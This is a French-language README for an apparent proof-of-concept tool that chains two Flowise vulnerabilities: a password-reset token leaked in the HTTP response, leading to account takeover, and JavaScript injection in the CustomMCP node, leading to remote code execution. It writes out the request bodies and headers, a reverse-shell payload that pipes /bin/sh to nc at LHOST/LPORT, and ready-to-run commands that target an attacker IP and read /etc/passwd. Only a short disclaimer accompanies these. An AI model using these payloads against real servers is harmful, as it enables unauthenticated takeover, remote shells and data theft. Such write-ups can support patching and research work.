Modular PoC pour CVE-2025-58434 (prise de contrôle de compte) et CVE-2025-59528 (RCE) dans Flowise. Automatise la chaîne d'attaque complète, de la fuite de jeton non authentifiée à l'exécution de code à distance via un reverse shell ou une commande personnalisée.
⚠️ Uniquement à des fins éducatives et de recherche en sécurité autorisée.
Exécuter cet outil contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal.
Ce dépôt combine deux vulnérabilités critiques de Flowise dans un outil PoC modulaire unique.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Type | Prise de contrôle de compte | Exécution de code à distance |
| Authentification requise | Aucune | Oui (n'importe quel compte valide) |
| CVSS | 9.8 Critique | Critique |
| Concerné | Cloud + auto-hébergé | Auto-hébergé |
Les deux vulnérabilités s'enchaînent naturellement : CVE-2025-58434 permet une prise de contrôle de compte sans authentification, ce qui satisfait l'exigence d'authentification de CVE-2025-59528 — permettant une RCE sans authentification en une seule exécution automatisée.
Cause racine : Le point de terminaison forgot-password renvoie le jeton de réinitialisation de mot de passe (tempToken) directement dans le corps de la réponse HTTP au lieu de l'envoyer uniquement par e-mail.
Étapes de l'attaque :
POST /api/v1/account/forgot-password avec n'importe quel e-mail enregistrétempToken dans la réponse JSON — aucun accès à l'e-mail nécessairePOST /api/v1/account/reset-password avec le jeton divulgué → définir un nouveau mot de passeRéponse divulguée (tronquée) :
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Cause racine : Le nœud CustomMCP transmet mcpServerConfig fourni par l'utilisateur directement au constructeur Function() de JavaScript sans aucune désinfection. Comme Flowise s'exécute dans Node.js, le code injecté a un accès complet à child_process, fs et à tous les modules intégrés de Node.js.
Chemin de code vulnérable :
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unsanitized user input
En-têtes requis :
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Charge utile d'injection par défaut (reverse shell) :
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Remarque : Les charges utiles reverse shell utilisent
cp.exec()(asynchrone / fire-and-forget) afin que la requête HTTP revienne immédiatement et que l'outil n'expire pas. Les commandes normales utilisentcp.execSync()et renvoient la sortie directement.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| Composant | Statut |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Affecté par CVE-2025-58434 |
| Flowise auto-hébergé (toutes les versions antérieures au correctif) | Affecté par les deux CVE |
Consultez les avis de sécurité officiels de Flowise pour connaître les numéros de version corrigés.
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
Aucune option de mode n'est requise. Si vous exécutez le script sans --chain ni --module, il se lance automatiquement en mode chaîne complète. La charge utile RCE par défaut est un reverse shell — fournissez simplement --lhost et --lport.
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Démarrez votre listener avant d'exécuter :
nc -lvnp 4444
python3 flowise_poc.py -h
Exécute les quatre étapes de bout en bout : fuite du jeton → réinitialisation du mot de passe → connexion → RCE.
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"